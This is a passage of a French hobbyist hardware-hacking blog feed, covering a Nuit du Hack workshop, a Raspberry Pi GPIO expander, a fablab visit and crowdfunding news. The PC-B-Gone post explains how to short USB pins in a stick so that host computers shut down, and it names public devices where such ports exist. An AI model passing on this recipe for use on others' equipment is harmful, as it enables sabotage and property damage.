&lt;p&gt;Le workshop vise à démystifier le hacking hardware, au travers de différents hacks impliquant de l'électronique et de l'informatique. Pour ce faire, nous allons lancer une campagne de financement participatif afin de pouvoir gérer les inscriptions et le financement du matériel qui sera remis aux participants. Ainsi, il y a différentes contreparties selon que vous ayez déjà commandé un badge électronique sur le site de la nuit du hack et que vous désiriez que l'on vous fournisse tout le matériel nécessaire à la réalisation du badge (fer à souder, étain, pinces, multimètre et composants supplémentaires). Plus d'informations à venir, le projet de financement participatif est en cours de finalisation sur la plate-forme &lt;a class="reference external" href="http://www.ulule.fr"&gt;Ulule&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En parallèle, divers hacks seront montrés, et j'en réaliserai certains autres durant la nuit: mod de Nerfs, hacking de freebox v4 et v5, bidouilles de minitel, développement de hacks sur USB, etc ... Ce sera l'occasion aussi d'expliquer l'initiative Open It, de rencontrer les soutiens, et pour les participants de poser tout plein de questions voire pourquoi pas de lancer des idées et de participer à des hacks !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inscription et venue&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Depuis 3 ans, la Nuit du Hack se déroule au &lt;a class="reference external" href="https://maps.google.com/maps?q=new+york+hotel+disneyland+paris&amp;amp;hl=en&amp;amp;ll=48.871052,2.787802&amp;amp;spn=0.010021,0.022681&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=49.043149,92.900391&amp;amp;t=h&amp;amp;z=16&amp;amp;iwloc=A"&gt;New York Hotel à Disneyland Paris&lt;/a&gt;. Les inscriptions sont ouvertes depuis quelques temps, accessibles &lt;a class="reference external" href="http://nuitduhack.com/inscription"&gt;sur cette page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour ceux qui souhaiteraient venir à moindre frais,`le site Ouigo de la SNCF &amp;lt;&lt;a class="reference external" href="http://www.ouigo.com/fr"&gt;http://www.ouigo.com/fr&lt;/a&gt;&amp;gt;`_ propose des billets à prix réduits arrivant directement à Disneyland (gare TGV de Marne-la-vallée Chessy).&lt;/p&gt;
&lt;p&gt;Pour la nourriture sur place, il y a du choix (Earl of Sandwich, Mac Donalds, restaurants divers). Sinon vous pouvez aussi prévoir votre sandwich et vos boissons.&lt;/p&gt;
</content><category term="Geekeries"/><category term="nuit du hack"/><category term="event"/><category term="évènement"/><category term="HZV"/></entry><entry><title>Raspio32, un module d'extension de GPIOs OpenSource pour Raspberry Pi</title><link href="https://virtualabs.fr/projets/Raspio32-un-module-d-extension-de" rel="alternate"/><published>2014-03-17T09:00:00+01:00</published><updated>2014-03-17T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-03-17:/projets/Raspio32-un-module-d-extension-de</id><summary type="html">&lt;p&gt;Lorsque j'ai bidouillé mon clavier de minitel, et que j'ai notamment essayé de l'interfacer avec un Raspberry Pi (&lt;a class="reference external" href="http://fr.farnell.com/"&gt;acheté chez Farnell&lt;/a&gt;, rappelez-vous), je me suis rendu compte que les GPIOs de ce dernier étaient vraiment limitées. Pour interfacer correctement le clavier, j'avais besoin de 17 GPIOs, alors que le RaspPi …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Lorsque j'ai bidouillé mon clavier de minitel, et que j'ai notamment essayé de l'interfacer avec un Raspberry Pi (&lt;a class="reference external" href="http://fr.farnell.com/"&gt;acheté chez Farnell&lt;/a&gt;, rappelez-vous), je me suis rendu compte que les GPIOs de ce dernier étaient vraiment limitées. Pour interfacer correctement le clavier, j'avais besoin de 17 GPIOs, alors que le RaspPi ne m'en offrait que 10 maximum. J'ai donc décidé de créer un module d'extension pour pouvoir prototyper sur Raspberry Pi, fournissant 32 GPIOs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Raspberry Pi et son bus I²C&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Après avoir passé un peu de temps à chercher sur Internet les solutions techniques connues pour Raspberry Pi, j'ai opté pour la solution la plus évidente: l'emploi du bus I²C («Inter Integrated Circuit»). Ce bus permet d'interfacer des composants électroniques, et notamment des convertisseurs série vers parallèle, comme le MCP23017. La communication avec ce composant est réalisé via deux fils (un signal d'horloge et un signal de donnée, ce qui correspond à une communication série) et permet d'utiliser 16 entrées/sorties (aussi appelées GPIOs pour «General Purpose Input/Output»).&lt;/p&gt;
&lt;p&gt;Ces modules sont adressables, avec un codage d'adresse sur 3 bits. Cela signifie que l'on peut en chaîner au maximum 8, et potentiellement adresser 8*16 = 128 GPIOs. 32 seront suffisantes pour ce que je veux faire, et de plus il faudrait que le PCB soit à peu près de la taille du Raspberry Pi, pour que l'on puisse l'enficher un peu comme un shield Arduino. Plus intéressant, Lady Ada (une ingénieure en électronique/informatique qui a créé le site AdaFruit -- une référence -- a écrit &lt;a class="reference external" href="http://learn.adafruit.com/mcp230xx-gpio-expander-on-the-raspberry-pi/overview"&gt;une série d'articles sur la manière d'interfacer le Raspberry Pi avec un ou plusieurs MCP23017&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Plusieurs modules d'extension de ce type existent déjà sur Internet (comme [celui-ci-&amp;gt;https://www.modmypi.com/protect-your-pi], ou encore [celui-la-&amp;gt;http://www.abelectronics.co.uk/products/3/Raspberry-Pi/18/IO-Pi-32-Channel-Port-Expander-for-the-Raspberry-Pi-computer-boards]), mais il faut débourser d'une dizaine d'euros (sans les frais de port) à une trentaine d'euros. Pis, aucun PCB n'est disponible, et les schémas jalousement gardés. Qu'à cela ne tienne, j'ai alors opté pour la conception d'une version 100% OpenSource, et peu onéreuse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prototypage&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La phase de prototypage a été rapide, une fois les composants reçus de mon fournisseur préféré. Quelques fils, un MCP23017 et le clavier de mon minitel m'ont servi à tester cette solution. Bien sûr, quelques réglages sont à effectuer sur le Raspberry Pi, notamment pour activer le support de l'I²C, mais au final c'est quand même relativement simple. Voici une photo montrant le montage:&lt;/p&gt;
&lt;img alt="" src="/images/mcp.jpg" /&gt;
&lt;p&gt;Et le schéma électronique du prototype:&lt;/p&gt;
&lt;img alt="" src="/images/raspio32.png" /&gt;
&lt;p&gt;Et pour finir, le module en place sur le Raspberry Pi:&lt;/p&gt;
&lt;img alt="" src="/images/raspio.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;La bibliothèque Python de Lady Ada&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AdaFruit fournit sur son Github un ensemble de bibliothèques Python permettant de manipuler l'I²C, et en particulier le MCP23017. Seulement voilà, bien que tout à fait fonctionnelle, cette bibliothèque n'est pas forcément utilisable en l'état vu que j'ai mis en place deux de ces composants et que j'en ai profité pour renommer les GPIOs. C'est pour cela que j'ai implémenté un dérivé de cette bibliothèque, dont le code source est libre et réutilisable, &lt;a class="reference external" href="https://github.com/openitproject/raspio32/tree/master/raspio"&gt;disponible sur Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voici un exemple de configuration du module en Python, qui permet d'allumer une LED connectée entre la broche A0 et A1 du module (avec une résistance de 330ohms bien sûr):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;raspio&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Raspio&lt;/span&gt;


&lt;span class="n"&gt;board&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Raspio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;A0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;A0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;board&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Toute amélioration et/ou critique est la bienvenue, n'hésitez pas à faire des Pull Requests ;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Une récompense aux soutiens OpenIt&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je possède actuellement deux de ces modules, dont un reste à monter, et me propose de les envoyer à deux personnes ayant soutenu le projet. Si d'autres personnes ayant soutenu le projet OpenIt sont intéressées, je peux éventuellement en produire à nouveau et les envoyer.&lt;/p&gt;
&lt;p&gt;Pour les personnes n'ayant pas soutenu le projet, vous pouvez commander la board (pcb) nue sur OSHPark, &lt;a class="reference external" href="http://oshpark.com/shared_projects/Lj3IvNsA"&gt;en suivant ce lien&lt;/a&gt;.&lt;/p&gt;
</content><category term="Projets"/></entry><entry><title>Les deux ans du FacLab</title><link href="https://virtualabs.fr/geekeries/Les-deux-ans-du-FacLab" rel="alternate"/><published>2014-03-12T09:00:00+01:00</published><updated>2014-03-12T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-03-12:/geekeries/Les-deux-ans-du-FacLab</id><summary type="html">&lt;p&gt;Cela faisait un bon moment que je tentais de me faire violence pour rendre visite au [FacLab de l'université de Cergy-Pontoise-&amp;gt;http://www.faclab.org], qui se trouve être à une quinzaine de minutes de mon lieu de travail, sans avoir vraiment trouvé le temps. Lundi dernier, plusieurs messages sur …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela faisait un bon moment que je tentais de me faire violence pour rendre visite au [FacLab de l'université de Cergy-Pontoise-&amp;gt;http://www.faclab.org], qui se trouve être à une quinzaine de minutes de mon lieu de travail, sans avoir vraiment trouvé le temps. Lundi dernier, plusieurs messages sur Twitter mentionnant le second anniversaire de ce FabLab m'ont enfin motivé à y faire un tour: ils proposaient une série de présentations animées par des barbus, un apéro et un nocturne.&lt;/p&gt;
&lt;img alt="" src="/images/faclab-magnets.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Le FacLab, c'est bien !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je m'y suis donc rendu avec un collègue et ami actuellement alternant à l'université de Cergy-Pontoise, et qui connait relativement bien les &lt;em&gt;managers&lt;/em&gt; de ce FabLab. On y arrive donc vers 19h, au lieu des 18h prévu suite à un imprévu au boulot auquel se sont ajoutés les bouchons quotidiens de la vie parisienne. Première surprise: il y a pas mal de monde ! Je m'attendais à trouver des barbus, des geeks et makers de tout poil,  quelle ne  fut pas ma surprise d'y voir des enfants (dont le plus jeune avait 3 mois), des adultes plus ou moins vieux, et un bon nombre de membres de la gente féminine adeptes de bidouillage sur tissus et de fabrication d'objets ! Impressionné, et admiratif.&lt;/p&gt;
&lt;p&gt;Les domaines dans lequel naviguent le FacLab sont multiples: on y trouve aussi bien des réalisations imprimées en 3D que des objets pyrogravés ou des vêtements &amp;quot;numériques&amp;quot; intégrant des LEDs, et même des PC dans des jerrycans (à l'allure de minions). Sans parler des outils présents, tels qu'imprimantes 3D en tout genre (Mendel Prusa i2, Foldarap, DOM), découpe laser et presse à t-shirt. Le tout sur un espace assez important, avec un coin détente bien confortable.&lt;/p&gt;
&lt;img alt="" src="/images/dom-printer.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Les projets&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les projets du FacLab sont en réalité les projets portés par les personnes qui y viennent, aussi divers et variés. C'est ce qui fait la force des FabLabs, mais aussi ce qui leur est de temps en temps reproché. Cependant, on oublie une chose essentielle: le FabLab est un lieu d'échange où celui qui sait partage et celui qui veut savoir apprend, où chacun peut apporter sa brique à un édifice commun. Un brin utopique, mais les retours que j'ai pu récolter durant cette soirée ont été globalement positifs et m'ont même poussé à y participer.&lt;/p&gt;
&lt;p&gt;Parmi les projets que j'ai pu voir:
*  Le jerryCan, un ordinateur dans un jerrycan
*  UrbanPotager, un potager sur étagère irriguée avec un circuit autonome
*  FoldaRap, une imprimante 3D pliable&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La philosophie du FabLab&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lorsque je me suis lancé dans la réalisation d'une imprimante 3D Prusa i3, j'avais contacté le FacLab pour savoir s'il était possible de venir imprimer les pièces de base de mon imprimante, et un des responsables m'avait indiqué que l'ensemble des imprimantes 3D étaient HS. Sur le coup, je me suis demandé l'utilité de la chose, et j'ai trouvé un autre moyen de me procurer les pièces. Lorsque j'en ai discuté avec Adel, à cet apéro du FacLab, celui-ci a pointé du doigt ma fainéantise (assumée) mais surtout le fait que si j'étais si motivé par une imprimante 3D, j'aurais pu venir réparer celles présentes. Et cela m'aurait permis de rencontrer des problèmes que je vais de toute manière rencontrer avec la réalisation de mon imprimante 3D, de les résoudre (et donc de les documenter), afin de pouvoir rendre à nouveau utilisable les imprimantes, pour le bien de tous. Il a aussi ajouté que si je cherchais &amp;quot;juste&amp;quot; des imprimantes pour créer mes pièces, d'autres endroits qu'un FabLab étaient plus indiqués, comme ceux proposant un accès payant pour utiliser des imprimantes 3D. Avec le FabLab, tout le monde est gagnant. Et cela montre aussi que je n'avais pas forcément bien saisi la philosophie des FabLabs, et que ce passage au FacLab n'était donc en rien inutile !&lt;/p&gt;
&lt;p&gt;Ils ont prévu de faire quelques nocturnes et d'ouvrir certains samedis après-midi durant les prochains mois, et je sens que je vais aller y faire un tour pour tenter de réparer les imprimantes 3D qui sont sur place, afin de me familiariser au fonctionnement de ces bestioles et pouvoir continuer le montage de la mienne en parallèle. Encore mieux, Adel m'a dit que d'autres personnes étaient sur la construction d'une Prusa i3, et que cela serait intéressant de confronter nos expériences et nos montages, durant une entrevue au FacLab. Je pense que je vais être amené à en reparler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le FacLab vous intéresse ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.faclab.org"&gt;Le site officiel du FacLab&lt;/a&gt; regorge de ressources sur les projets qui y sont menés, et il y a toutes les indications nécessaires si vous souhaitez vous y rendre (ce que je vous invite à faire si vous êtes en région parisienne), ou si vous souhaitez participer.&lt;/p&gt;
&lt;img alt="" src="/images/urbanpotager.jpg" /&gt;
&lt;p&gt;crédit photo: &lt;a class="reference external" href="http://www.flickr.com/photos/41923662&amp;#64;N05/6785122128/in/photolist-bkzwqh-bkzwrE-dL1hUE-dKUMW6-h4BLdZ-h4BLDt-byuq4B-bkzwE3-bMk136-byr6EY-bMjXHB-bMjYka-byqifN-govXZE-ddJfDF-gowpSR-govYBS-gowmoj-bxPTs6-bk6kFm-bjV12L-dWd8JC-dWdcdS-dW7utT-dW7wct-dW7BVX-dWd9Sy-dWddiU-dW7xgt-dW7tVT-dWdbJ7-dW7v5V-bjUY4d-dW7zyn-fhAD3x-fhQj2Y-fhQTU7-fhQk8w-fhACRM-fhQUCo-fhA3Ur-fhA4cr-fhA4t4-fhQjFN-fhQiob-fhQiJy-fhQiyQ-fhA4B4-fhA2CX-fhADcX-fhADvX"&gt;Ophelia Noor&lt;/a&gt;, via Flickr&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>2014, cette grosse marade</title><link href="https://virtualabs.fr/humeur/2014-cette-grosse-marade" rel="alternate"/><published>2014-01-08T09:00:00+01:00</published><updated>2014-01-08T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-01-08:/humeur/2014-cette-grosse-marade</id><summary type="html">&lt;p&gt;La nouvelle année s'annonce plutôt pas mal, après une année 2013 plutôt mouvementée: les révélations de Snowden, des hacks en tout genre, le lancement du projet Open It, la nuit du hack, etc ... Toujours des hacks en cours, des projets dans les cartons, et des idées plein la tête !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;La nouvelle année s'annonce plutôt pas mal, après une année 2013 plutôt mouvementée: les révélations de Snowden, des hacks en tout genre, le lancement du projet Open It, la nuit du hack, etc ... Toujours des hacks en cours, des projets dans les cartons, et des idées plein la tête !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open It&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hourra ! Les fêtes sont passées, les délais de livraison aussi et avec 2014 arrive le moment de dresser un calendrier des jalons à venir =). Ainsi, la 12ème édition de la Nuit du Hack aura lieu les 28 et 29 juin 2014, pour laquelle je proposerai un workshop de bidouille hardware/électronique/informatique co-animé avec Tixlegeek. De même, plusieurs soutiens ont des récompenses en attente, à savoir les Minitels et pour certains des journées de hack en ma compagnie, ce sera l'occasion de booker rapidement les dates: je vais communiquer très bientôt sur celles-ci.&lt;/p&gt;
&lt;p&gt;L'imprimante 3D suit son cours, je vais relancer une série de commandes cette semaine, en espérant être livré rapidement et pouvoir entamer le montage de la base. L'électronique viendra sur la fin, idéalement il me faudrait le cadre, la visserie/boulonnerie/quincaillerie et 5 moteurs NEMA17. La commande va être passée.&lt;/p&gt;
&lt;p&gt;Côté acquisition de matériel, j'ai reçu en cadeau de noël une superbe clef USB permettant de faire de l'acquisition radio sur des plages de fréquences allant de 54Mhz à 1.76Ghz, je me suis installé tout le logiciel et j'ai quelques idées en tête pour les applications: une occasion de fourrer le nez dans GnuRadio et dans le SDR.&lt;/p&gt;
&lt;p&gt;La saga du clavier USB continue, j'ai reçu les derniers composants permettant de tester l'interface USB cette semaine. Ne reste plus qu'à câbler, coder et tester, je compte m'y mettre sérieusement un soir cette semaine ou la prochaine. Rien de bien compliqué techniquement parlant, mais si ça fonctionne je pourrais designer un PCB de derrière les fagots et tenter un truc au propre (compter 4 semaines entre le design et la réception du PCB).&lt;/p&gt;
&lt;p&gt;Côté Minitel, la carte d'adaptation v2 a bien avancé, encore une fois reste juste à boucler le draft de driver python et finaliser le montage sur breadboard en ce qui concerne le support de clavier. Idem pour la connectique GPIO du raspberry Pi et l'alimentation. Les composants ont été commandés, j'attends que ça arrive.&lt;/p&gt;
&lt;p&gt;Comme vous pouvez le voir, pas mal de trucs en cours qui viendront nourrir le blog durant les prochaines semaines, et la documentation OpenSource sur le wiki OpenIt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Meilleurs voeux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avec tout ça, je pense que j'ai de quoi être occupé jusqu'à l'année prochaine. Les mômes en plus, et les interactions sociales auxquelles s'ajoute le boulot finiront de me convaincre que l'année de mes 30 balais ne sera pas chômée. Je vous souhaite une très bonne année à tous, tout plein de hacks, de leaks, de nouvelles révélations sur la NSA et ses grandes oreilles, &lt;a class="reference external" href="http://www.youtube.com/user/jcfroglevrai/videos"&gt;plein de vidéos de l'ami JCFrog&lt;/a&gt; et toutes ces sortes de choses !&lt;/p&gt;
</content><category term="Humeur"/><category term="nuit du hack"/><category term="event"/><category term="évènement"/></entry><entry><title>Après le TV-B-Gone, le PC-B-Gone !</title><link href="https://virtualabs.fr/geekeries/Apres-le-TV-B-Gone-le-PC-B-Gone" rel="alternate"/><published>2013-12-12T09:00:00+01:00</published><updated>2013-12-12T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-12-12:/geekeries/Apres-le-TV-B-Gone-le-PC-B-Gone</id><summary type="html">&lt;p&gt;J'avais promis aux soutiens de &lt;em&gt;Open It&lt;/em&gt; un hardware collector, et j'avoue avoir assez longtemps hésité sur ce que serait celui-ci. En effet, je ne souhaitais pas réaliser plus de 39 machins électroniques qui me boufferaient tout le budget (aucun intérêt), mais pas non plus faire quelque chose de naze …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'avais promis aux soutiens de &lt;em&gt;Open It&lt;/em&gt; un hardware collector, et j'avoue avoir assez longtemps hésité sur ce que serait celui-ci. En effet, je ne souhaitais pas réaliser plus de 39 machins électroniques qui me boufferaient tout le budget (aucun intérêt), mais pas non plus faire quelque chose de naze. Je me suis donc dit que pour être efficace, il fallait faire un truc con. Peut-être le truc le plus con du monde, mais qui soit jouissif au possible. Et l'idée du PC-B-Gone a germé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quand un court-circuit fait chauffer le cerveau&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il y a de cela plusieurs années, j'avais un ordinateur portable de marque moyenne qui m'a fait bien peur: en y insérant une clef USB il s'est éteint d'un coup, et impossible de le redémarrer. Après investigation, il s'est avéré que les contacts du port USB étaient tordus, signe certain d'une tentative d'utilisation d'une clef USB sous emprise d'alcool, accompagné très probablement d'un esprit de déduction hors-norme (je vous laisse libre d'imaginer la scène). Toujours est-il qu'après déconnexion de la batterie et de l'alimentation secteur, puis reconnexion de ceux-ci, l'ordinateur redémarre comme si de rien n'était. Etrange.&lt;/p&gt;
&lt;p&gt;Pour le coup, je n'ai pas vu un intérêt quelconque à cet incident, j'en ai juste déduit que le port USB était mort, un point c'est tout. Cependant, en y repensant quelques mois plus tard, et en consultant la documentation de référence de la norme USB, j'ai trouvé ma réponse. Il y est indiqué qu'en cas de court-circuit, le port USB doit être désactivé, et à défaut protégé. Ce que faisait ma machine: un court-circuit présent, l'alimentation passe en protection afin de protéger la machine. Sauf que là, ce n'est pas le seul port USB qui trinque, mais l'alimentation complète de la carte mère. Tout simplement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le PC-B-Gone, l'idée la plus idiote que j'ai pu avoir&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Grand amateur de TV-B-Gone, ce système permettant d'éteindre les TVs en masse et à distance (&lt;a class="reference external" href="http://youtu.be/ar-9FycKba4"&gt;cf. Furrtek à la Paris Game Week&lt;/a&gt;), j'ai donc eu l'idée de faire un périphérique USB réalisant un court-circuit. Tout simplement. Si l'idée peut sembler tout ce qu'il y a de plus débile (et elle l'est), des perspectives nouvelles s'offrent à nous: de nombreux périphériques et systèmes informatiques intègrent un port USB. La grande question que l'on va être amené à se poser: que se passe-t-il quand on y connecte un bidule qui effectue un court-circuit ?&lt;/p&gt;
&lt;img alt="" src="/images/usbkey.jpg" /&gt;
&lt;p&gt;Côté réalisation, cette bidouille est à la portée de quiconque possède une vieille clef USB et un fer à souder. Il suffit d'ouvrir la clef, de souder un strap entre les broches 1 et 4 du connecteur (les broches extérieures) à l'aide d'une chute de patte de résistance par exemple. Remontez votre clef USB, et vous avez le pire piège à idiot que l'on puisse imaginer.&lt;/p&gt;
&lt;p&gt;Pour les soutiens du projet &lt;em&gt;Open It&lt;/em&gt;, j'ai réalisé un circuit qui intègre de base le court-circuit sur USB, qui peut servir de porte-clef et qui peut donc être inséré dans n'importe quelle fiche USB de type A. j'ai testé sur plusieurs ordinateurs chez moi, et ça n'a pas loupé: ils se sont tous éteints immédiatement. Idem au boulot. Au grand désespoir des collègues.&lt;/p&gt;
&lt;img alt="" src="/images/usbtroll.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Oui mais après ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Après ? Oh, rien de bien plus idiot. J'ai récemment pris l'avion par exemple, et j'ai trouvé un port USB sur l'écran intégré au siège. Ma voiture est équipée d'un port USB intégré, permettant de lui donner de la musique à jouer. Les systèmes de développement de photos dans les supermarchés environnant ont aussi des prises USB, tout comme les ordinateurs portables en exposition. Pire, le nouveau compteur EDF en beta chez certaines personnes en possède aussi (merci à toi, geek en puissance qui m'a donné cette info lors du meet de décembre ;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MAJ du 12/12/2013:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le comportement observé dépend des spécifications de la carte mère: si son constructeur a bien pris compte de la norme USB, seul le port ou le hub doit voir son alimentation coupée. Si c'est le cas, vous ne devriez plus pouvoir vous servir du port USB après insertion de la clef piégée. Si celle-ci implémente une protection plus sommaire, comme par exemple la coupure d'alimentation complète, l'ordinateur s'éteindra d'un coup. Les Macs ne semblent pas touchés par l'extinction intempestive.&lt;/p&gt;
&lt;p&gt;Si vous souhaitez indiquer une machine vulnérable à cette attaque (ou pas), vous pouvez le faire &lt;a class="reference external" href="http://virtualabs.fr/openit/doku.php?id=projets:pc-b-gone"&gt;sur la page dédiée sur le wiki Open It&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Si certains sont intéressés par un PC-B-Gone sérigraphié, qu'ils me fassent signe par email: j'ai moyen d'en produire de nouveaux au besoin. Attention, la sérigraphie diffèrera un peu, la version affichée ici étant un collector pour les soutiens du projet Open It =).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE IMPORTANTE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'avoue ne pas avoir testé dans ma voiture ou dans l'avion, par peur que quelque chose se produise (je tiens à ma vie et pas envie de finir piéton). Libre à vous de tester, mais attention: je ne pense pas que les hubs USB ou tout autre périphériques ne reposant pas sur un système informatique acceptent légitimement ce type de hack. Ne perdez pas de vue qu'un système ne respectant pas correctement la norme USB peut subir des dégâts, je vous encourage donc à éviter tout particulièrement les bidules non-informatiques possédant un port USB tels que les chargeurs, les hubs ou PC d'origine inconnue.&lt;/p&gt;
&lt;p&gt;&amp;lt;quote&amp;gt;«Deux choses sont infinies : l’Univers et la bêtise humaine. Mais, en ce qui concerne l’Univers, je n’en ai pas encore acquis la certitude absolue.» - Albert Einstein.&amp;lt;/quote&amp;gt;&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>OpenIt financé à 356% !</title><link href="https://virtualabs.fr/geekeries/OpenIt-finance-a-356" rel="alternate"/><published>2013-11-07T21:21:30+01:00</published><updated>2013-11-07T21:21:30+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-11-07:/geekeries/OpenIt-finance-a-356</id><summary type="html">&lt;p&gt;Il y a de cela une trentaine de jours, je lançais le projet &amp;quot;Open It&amp;quot; sur la plate-forme de financement participatif &lt;a class="reference external" href="http://fr.ulule.com/open-it/"&gt;Ulule&lt;/a&gt;, avec l'espoir de récolter la somme de 400€ afin de pouvoir terminer des projets en cours et dans les cartons, tout en récompensant les soutiens à grand coup …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Il y a de cela une trentaine de jours, je lançais le projet &amp;quot;Open It&amp;quot; sur la plate-forme de financement participatif &lt;a class="reference external" href="http://fr.ulule.com/open-it/"&gt;Ulule&lt;/a&gt;, avec l'espoir de récolter la somme de 400€ afin de pouvoir terminer des projets en cours et dans les cartons, tout en récompensant les soutiens à grand coup de documentation et de hacks créés. La durée de collecte est désormais terminée, et c'est plus de 1400€ qui ont été engagés par 39 soutiens: c'est tout bonnement génial !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et après ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme certains ont pu le lire sur Twitter ou sur la plate-forme Ulule, j'ai mis en place les éléments nécessaires au bon fonctionnement du projet:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;un wiki qui contiendra des sections et articles réservés aux soutiens, mais la documentation des projets reste opensource et accessible à tous&lt;/li&gt;
&lt;li&gt;un système me permettant de publier aux soutiens un ou plusieurs articles afin qu'ils en aient la primeur&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En parallèle, j'ai lancé la production des goodies pour les soutiens (stickers et hardwares collector), et je vais très certainement commander un peu de matériel de manière à pouvoir continuer les projets en cours. La grande question reste de savoir comment communiquer aisément avec les soutiens en particulier, et les gens intéressés par le projet en général ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wiki, site dédié au projet, webcast&lt;/strong&gt;&lt;/p&gt;
